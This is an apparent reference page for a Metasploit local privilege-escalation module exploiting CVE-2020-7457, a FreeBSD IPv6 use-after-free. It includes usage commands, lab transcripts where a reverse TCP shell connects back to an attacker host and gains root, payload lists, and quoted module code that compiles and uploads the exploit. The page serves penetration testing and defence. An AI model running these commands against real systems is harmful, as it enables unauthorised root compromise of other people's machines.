FreeBSD ip6_setpktopt Use-After-Free Privilege Escalation - Metasploit
This page contains detailed information about how to use the exploit/freebsd/local/ip6_setpktopt_uaf_priv_esc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: FreeBSD ip6_setpktopt Use-After-Free Privilege Escalation
Module: exploit/freebsd/local/ip6_setpktopt_uaf_priv_esc
Source code: modules/exploits/freebsd/local/ip6_setpktopt_uaf_priv_esc.rb
Disclosure date: 2020-07-07
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): x64
Supported platform(s): BSD
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2020-7457
This module exploits a race and use-after-free vulnerability
in the FreeBSD kernel IPv6 socket handling. A missing
synchronization lock in the IPV6_2292PKTOPTIONS option
handling in setsockopt permits racing ip6_setpktopt
access to a freed ip6_pktopts struct. This exploit
overwrites the ip6po_pktinfo pointer of a ip6_pktopts
struct in freed memory to achieve arbitrary kernel
read/write. This module has been tested successfully on:
FreeBSD 9.0-RELEASE #0 (amd64); FreeBSD 9.1-RELEASE #0
r243825 (amd64); FreeBSD 9.2-RELEASE #0 r255898 (amd64);
FreeBSD 9.3-RELEASE #0 r268512 (amd64); FreeBSD 12.0-RELEASE
r341666 (amd64); and FreeBSD 12.1-RELEASE r354233 (amd64).
Module Ranking and Traits
Module Ranking:
- great: The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address AFTER a version check. More information about ranking can be found here.
Stability:
- crash-os-restarts: Module may crash the OS, but the OS restarts.
Side Effects:
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions command.
msf > use exploit/freebsd/local/ip6_setpktopt_uaf_priv_esc
msf exploit(ip6_setpktopt_uaf_priv_esc) > show targets
... a list of targets ...
msf exploit(ip6_setpktopt_uaf_priv_esc) > set TARGET target-id
msf exploit(ip6_setpktopt_uaf_priv_esc) > show options
... show and set options ...
msf exploit(ip6_setpktopt_uaf_priv_esc) > set SESSION session-id
msf exploit(ip6_setpktopt_uaf_priv_esc) > exploit
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Vulnerable Application
This module exploits a race and use-after-free vulnerability in the
FreeBSD kernel IPv6 socket handling. A missing synchronization lock
in the IPV6_2292PKTOPTIONS option handling in setsockopt permits
racing ip6_setpktopt access to a freed ip6_pktopts struct.
This exploit overwrites the ip6po_pktinfo pointer of a ip6_pktopts
struct in freed memory to achieve arbitrary kernel read/write.
This module has been tested successfully on:
- FreeBSD 9.0-RELEASE #0 (amd64)
- FreeBSD 9.1-RELEASE #0 r243825 (amd64)
- FreeBSD 9.2-RELEASE #0 r255898 (amd64)
- FreeBSD 9.3-RELEASE #0 r268512 (amd64)
- FreeBSD 12.0-RELEASE r341666 (amd64)
- FreeBSD 12.1-RELEASE r354233 (amd64)
Verification Steps
- Start
msfconsole - Get a session
use exploit/freebsd/local/ip6_setpktopt_uaf_priv_escset SESSION <SESSION>checkrun- You should get a new root session
Options
NUM_SPRAY
Spray iterations (default (256)
NUM_SPRAY_RACE
Race iterations (default: 32)
ForceExploit
Override check result (default: false)
WritableDir
A directory where we can write files (default: /tmp)
Scenarios
FreeBSD 9.3-RELEASE #0 r268512 (amd64)
msf5 > use exploit/freebsd/local/ip6_setpktopt_uaf_priv_esc
[*] Using configured payload bsd/x64/shell_reverse_tcp
msf5 exploit(freebsd/local/ip6_setpktopt_uaf_priv_esc) > set lhost 172.16.191.165
lhost => 172.16.191.165
msf5 exploit(freebsd/local/ip6_setpktopt_uaf_priv_esc) > set session 1
session => 1
msf5 exploit(freebsd/local/ip6_setpktopt_uaf_priv_esc) > run
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 172.16.191.165:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable.
[*] Using target: FreeBSD 9.3-RELEASE #0 r268512 - allproc offset: 0x1295800
[*] Writing '/tmp/.SnZgWBMA.c' (14147 bytes) ...
[*] Compiling /tmp/.SnZgWBMA.c ...
[*] Writing '/tmp/.d97xapNItz' (218 bytes) ...
[*] Launching exploit (timeout: 30s) ...
[*] uid=0(root) gid=0(wheel) egid=1002(asdf) groups=1002(asdf)
[+] Success! Executing payload...
[*] Command shell session 2 opened (172.16.191.165:4444 -> 172.16.191.142:61848) at 2020-07-09 18:02:09 -0400
[+] Deleted /tmp/.SnZgWBMA.c
[+] Deleted /tmp/.SnZgWBMA
[+] Deleted /tmp/.d97xapNItz
id
uid=0(root) gid=0(wheel) egid=1002(asdf) groups=1002(asdf)
uname -a
FreeBSD freebsd-9-3-amd64 9.3-RELEASE FreeBSD 9.3-RELEASE #0 r268512: Thu Jul 10 23:44:39 UTC 2014 [email protected]:/usr/obj/usr/src/sys/GENERIC amd64
FreeBSD 12.1-RELEASE r354233 (amd64)
msf5 > use exploit/freebsd/local/ip6_setpktopt_uaf_priv_esc
[*] Using configured payload bsd/x64/shell_reverse_tcp
msf5 exploit(freebsd/local/ip6_setpktopt_uaf_priv_esc) > set lhost 172.16.191.165
lhost => 172.16.191.165
msf5 exploit(freebsd/local/ip6_setpktopt_uaf_priv_esc) > set session 1
session => 1
msf5 exploit(freebsd/local/ip6_setpktopt_uaf_priv_esc) > run
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 172.16.191.165:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable.
[*] Using target: FreeBSD 12.1-RELEASE r354233 - allproc offset: 0x1df7648
[*] Writing '/tmp/.V8vZ5.c' (14162 bytes) ...
[*] Compiling /tmp/.V8vZ5.c ...
[*] Writing '/tmp/.ok9laPn' (218 bytes) ...
[*] Launching exploit (timeout: 30s) ...
[*] uid=0(root) gid=0(wheel) egid=1002(asdf) groups=1002(asdf)
[+] Success! Executing payload...
[*] Command shell session 2 opened (172.16.191.165:4444 -> 172.16.191.140:35808) at 2020-07-09 18:04:24 -0400
[+] Deleted /tmp/.V8vZ5.c
[+] Deleted /tmp/.V8vZ5
[+] Deleted /tmp/.ok9laPn
id
uid=0(root) gid=0(wheel) egid=1002(asdf) groups=1002(asdf)
uname -a
FreeBSD freebsd-12-1-amd64 12.1-RELEASE FreeBSD 12.1-RELEASE r354233 GENERIC amd64
Go back to menu.
Msfconsole Usage
Here is how the freebsd/local/ip6_setpktopt_uaf_priv_esc exploit module looks in the msfconsole:
msf6 > use exploit/freebsd/local/ip6_setpktopt_uaf_priv_esc
[*] Using configured payload bsd/x64/shell_reverse_tcp
msf6 exploit(freebsd/local/ip6_setpktopt_uaf_priv_esc) > show info
Name: FreeBSD ip6_setpktopt Use-After-Free Privilege Escalation
Module: exploit/freebsd/local/ip6_setpktopt_uaf_priv_esc
Platform: BSD
Arch: x64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Great
Disclosed: 2020-07-07
Provided by:
Andy Nguyen
bcoles <[email protected]>
Module side effects:
artifacts-on-disk
ioc-in-logs
Module stability:
crash-os-restarts
Available targets:
Id Name
-- ----
0 Automatic
1 FreeBSD 9.0-RELEASE #0
2 FreeBSD 9.1-RELEASE #0 r243825
3 FreeBSD 9.2-RELEASE #0 r255898
4 FreeBSD 9.3-RELEASE #0 r268512
5 FreeBSD 12.0-RELEASE r341666
6 FreeBSD 12.1-RELEASE r354233
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload information:
Description:
This module exploits a race and use-after-free vulnerability in the
FreeBSD kernel IPv6 socket handling. A missing synchronization lock
in the `IPV6_2292PKTOPTIONS` option handling in `setsockopt` permits
racing `ip6_setpktopt` access to a freed `ip6_pktopts` struct. This
exploit overwrites the `ip6po_pktinfo` pointer of a `ip6_pktopts`
struct in freed memory to achieve arbitrary kernel read/write. This
module has been tested successfully on: FreeBSD 9.0-RELEASE #0
(amd64); FreeBSD 9.1-RELEASE #0 r243825 (amd64); FreeBSD 9.2-RELEASE
#0 r255898 (amd64); FreeBSD 9.3-RELEASE #0 r268512 (amd64); FreeBSD
12.0-RELEASE r341666 (amd64); and FreeBSD 12.1-RELEASE r354233
(amd64).
References:
https://nvd.nist.gov/vuln/detail/CVE-2020-7457
https://www.exploit-db.com/exploits/48644
https://packetstormsecurity.com/files/158341
https://hackerone.com/reports/826026
https://bsdsec.net/articles/freebsd-announce-freebsd-security-advisory-freebsd-sa-20-20-ipv6
https://www.freebsd.org/security/patches/SA-20:20/ipv6.patch
https://github.com/freebsd/freebsd/blob/master/sys/netinet6/ip6_var.h
https://github.com/freebsd/freebsd/blob/master/sys/netinet6/ip6_output.c
Module Options
This is a complete list of options available in the freebsd/local/ip6_setpktopt_uaf_priv_esc exploit:
msf6 exploit(freebsd/local/ip6_setpktopt_uaf_priv_esc) > show options
Module options (exploit/freebsd/local/ip6_setpktopt_uaf_priv_esc):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload options (bsd/x64/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
CMD /bin/sh yes The command string to execute
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the freebsd/local/ip6_setpktopt_uaf_priv_esc exploit:
msf6 exploit(freebsd/local/ip6_setpktopt_uaf_priv_esc) > show advanced
Module advanced options (exploit/freebsd/local/ip6_setpktopt_uaf_priv_esc):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
ForceExploit false no Override check result
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
NUM_SPRAY 256 yes Spray iterations
NUM_SPRAY_RACE 32 yes Race iterations
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 10 no Additional delay in seconds to wait for a session
WritableDir /tmp yes A directory where we can write files
Payload advanced options (bsd/x64/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the freebsd/local/ip6_setpktopt_uaf_priv_esc module can exploit:
msf6 exploit(freebsd/local/ip6_setpktopt_uaf_priv_esc) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
1 FreeBSD 9.0-RELEASE #0
2 FreeBSD 9.1-RELEASE #0 r243825
3 FreeBSD 9.2-RELEASE #0 r255898
4 FreeBSD 9.3-RELEASE #0 r268512
5 FreeBSD 12.0-RELEASE r341666
6 FreeBSD 12.1-RELEASE r354233
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the freebsd/local/ip6_setpktopt_uaf_priv_esc exploit:
msf6 exploit(freebsd/local/ip6_setpktopt_uaf_priv_esc) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/bsd/x64/exec normal No BSD x64 Execute Command
1 payload/bsd/x64/shell_bind_ipv6_tcp normal No BSD x64 Command Shell, Bind TCP Inline (IPv6)
2 payload/bsd/x64/shell_bind_tcp normal No BSD x64 Shell Bind TCP
3 payload/bsd/x64/shell_bind_tcp_small normal No BSD x64 Command Shell, Bind TCP Inline
4 payload/bsd/x64/shell_reverse_ipv6_tcp normal No BSD x64 Command Shell, Reverse TCP Inline (IPv6)
5 payload/bsd/x64/shell_reverse_tcp normal No BSD x64 Shell Reverse TCP
6 payload/bsd/x64/shell_reverse_tcp_small normal No BSD x64 Command Shell, Reverse TCP Inline
7 payload/generic/custom normal No Custom Payload
8 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
9 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the freebsd/local/ip6_setpktopt_uaf_priv_esc exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(freebsd/local/ip6_setpktopt_uaf_priv_esc) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Error Messages
- Target system is not FreeBSD
- System architecture <KERNEL_ARCH> is not supported
- No target for <KERNEL_VERSION>
- cc is not installed
- Session already has root privileges. Set ForceExploit to override.
- <BASE_DIR> is not writable
- No target for <KERNEL_VERSION>
- <EXPLOIT_PATH>.c failed to compile
- Exploit completed without elevating privileges
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Target system is not FreeBSD
Here is a relevant code snippet related to the "Target system is not FreeBSD" error message:
139:
140: def check
141: kernel_version = cmd_exec('uname -v').to_s
142:
143: unless kernel_version.include?('FreeBSD')
144: return CheckCode::Safe('Target system is not FreeBSD')
145: end
146:
147: kernel_arch = cmd_exec('uname -m').to_s
148:
149: unless kernel_arch.include?('64')
System architecture <KERNEL_ARCH> is not supported
Here is a relevant code snippet related to the "System architecture <KERNEL_ARCH> is not supported" error message:
145: end
146:
147: kernel_arch = cmd_exec('uname -m').to_s
148:
149: unless kernel_arch.include?('64')
150: return CheckCode::Safe("System architecture #{kernel_arch} is not supported")
151: end
152:
153: vprint_good("System architecture #{kernel_arch} is supported")
154:
155: unless select_target(kernel_version)
No target for <KERNEL_VERSION>
Here is a relevant code snippet related to the "No target for <KERNEL_VERSION>" error message:
151: end
152:
153: vprint_good("System architecture #{kernel_arch} is supported")
154:
155: unless select_target(kernel_version)
156: return CheckCode::Safe("No target for #{kernel_version}")
157: end
158:
159: vprint_good("#{kernel_version} appears vulnerable")
160:
161: unless command_exists?('cc')
cc is not installed
Here is a relevant code snippet related to the "cc is not installed" error message:
157: end
158:
159: vprint_good("#{kernel_version} appears vulnerable")
160:
161: unless command_exists?('cc')
162: return CheckCode::Safe('cc is not installed')
163: end
164:
165: vprint_good('cc is installed')
166:
167: CheckCode::Appears
Session already has root privileges. Set ForceExploit to override.
Here is a relevant code snippet related to the "Session already has root privileges. Set ForceExploit to override." error message:
167: CheckCode::Appears
168: end
169:
170: def exploit
171: if is_root? && !datastore['ForceExploit']
172: fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
173: end
174:
175: unless writable?(base_dir)
176: fail_with(Failure::BadConfig, "#{base_dir} is not writable")
177: end
<BASE_DIR> is not writable
Here is a relevant code snippet related to the "<BASE_DIR> is not writable" error message:
171: if is_root? && !datastore['ForceExploit']
172: fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
173: end
174:
175: unless writable?(base_dir)
176: fail_with(Failure::BadConfig, "#{base_dir} is not writable")
177: end
178:
179: if target.name == 'Automatic'
180: kernel_version = cmd_exec('uname -v').to_s
181: my_target = select_target(kernel_version)
No target for <KERNEL_VERSION>
Here is a relevant code snippet related to the "No target for <KERNEL_VERSION>" error message:
178:
179: if target.name == 'Automatic'
180: kernel_version = cmd_exec('uname -v').to_s
181: my_target = select_target(kernel_version)
182: unless my_target
183: fail_with(Failure::NoTarget, "No target for #{kernel_version}")
184: end
185: else
186: my_target = target
187: end
188:
<EXPLOIT_PATH>.c failed to compile
Here is a relevant code snippet related to the "<EXPLOIT_PATH>.c failed to compile" error message:
207: output = cmd_exec("cc '#{exploit_path}.c' -o '#{exploit_path}' -std=c99 -lpthread")
208: register_file_for_cleanup(exploit_path)
209:
210: unless output.blank?
211: print_error(output)
212: fail_with(Failure::Unknown, "#{exploit_path}.c failed to compile")
213: end
214:
215: payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
216:
217: upload_and_chmodx(payload_path, generate_payload_exe)
Exploit completed without elevating privileges
Here is a relevant code snippet related to the "Exploit completed without elevating privileges" error message:
225: sleep(3)
226:
227: print_status(cmd_exec('id').to_s)
228:
229: unless is_root?
230: fail_with(Failure::Unknown, 'Exploit completed without elevating privileges')
231: end
232:
233: print_good('Success! Executing payload...')
234:
235: cmd_exec("#{payload_path} & echo ")
Go back to menu.
Related Pull Requests
- #15556 Merged Pull Request: Add shell support to enum_unattended module
- #15564 Merged Pull Request: Update post_common mixin methods to support powershell session type
- #15570 Merged Pull Request: Fix smb enum gpp module
- #15546 Merged Pull Request: Fix #15480, fix IgnoreUnknownPayloads for stageless reverse_http payloads
- #15561 Merged Pull Request: Add an exploit for ProxyShell
- #15525 Merged Pull Request: Add Lucee Administrator CVE-2021-21307 exploit
- #15332 Merged Pull Request: fix a localization issue and some other minor issues in
rename_filemethod - #15540 Merged Pull Request: Add option for running
cmd_executein a subshell - #15303 Merged Pull Request: Fix
dirmethod for windows shell sessions - #15547 Merged Pull Request: Bump rex-text to 0.2.36
References
- CVE-2020-7457
- EDB-48644
- PACKETSTORM-158341
- https://hackerone.com/reports/826026
- https://bsdsec.net/articles/freebsd-announce-freebsd-security-advisory-freebsd-sa-20-20-ipv6
- https://www.freebsd.org/security/patches/SA-20:20/ipv6.patch
- https://github.com/freebsd/freebsd/blob/master/sys/netinet6/ip6_var.h
- https://github.com/freebsd/freebsd/blob/master/sys/netinet6/ip6_output.c
See Also
Check also the following modules related to this module:
- exploit/freebsd/local/intel_sysret_priv_esc
- exploit/freebsd/local/mmap
- exploit/freebsd/local/rtld_execl_priv_esc
- exploit/freebsd/local/watchguard_fix_corrupt_mail
- exploit/android/local/binder_uaf
- exploit/multi/browser/adobe_flash_hacking_team_uaf
- exploit/multi/browser/adobe_flash_opaque_background_uaf
- exploit/multi/browser/adobe_flash_uncompress_zlib_uaf
- exploit/windows/backupexec/ssl_uaf
- exploit/windows/browser/adobe_flash_domain_memory_uaf
- exploit/windows/browser/adobe_flash_worker_byte_array_uaf
- exploit/windows/browser/chrome_filereader_uaf
- exploit/windows/browser/firefox_smil_uaf
- exploit/windows/browser/ie_cbutton_uaf
- exploit/windows/browser/ie_cgenericelement_uaf
- exploit/windows/browser/ie_execcommand_uaf
- exploit/windows/browser/ie_setmousecapture_uaf
- exploit/windows/browser/ms13_009_ie_slayoutrun_uaf
- exploit/windows/browser/ms14_012_cmarkup_uaf
- exploit/windows/fileformat/foxit_reader_uaf
- exploit/bsd/finger/morris_fingerd_bof
- payload/bsd/sparc/shell_bind_tcp
- payload/bsd/sparc/shell_reverse_tcp
- payload/bsd/vax/shell_reverse_tcp
- payload/bsd/x64/exec
- payload/bsd/x64/shell_bind_ipv6_tcp
- payload/bsd/x64/shell_bind_tcp
- payload/bsd/x64/shell_bind_tcp_small
- payload/bsd/x64/shell_reverse_ipv6_tcp
- payload/bsd/x64/shell_reverse_tcp
- payload/bsd/x64/shell_reverse_tcp_small
- payload/bsd/x86/exec
- payload/bsd/x86/metsvc_bind_tcp
- payload/bsd/x86/metsvc_reverse_tcp
- payload/bsd/x86/shell/bind_ipv6_tcp
- payload/bsd/x86/shell/bind_tcp
- payload/bsd/x86/shell_bind_tcp
- payload/bsd/x86/shell_bind_tcp_ipv6
- payload/bsd/x86/shell_find_port
- payload/bsd/x86/shell/find_tag
- payload/bsd/x86/shell_find_tag
- payload/bsd/x86/shell/reverse_ipv6_tcp
- payload/bsd/x86/shell/reverse_tcp
- payload/bsd/x86/shell_reverse_tcp
- payload/bsd/x86/shell_reverse_tcp_ipv6
- post/bsd/gather/hashdump
Related Nessus plugins:
Authors
- Andy Nguyen
- bcoles
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.
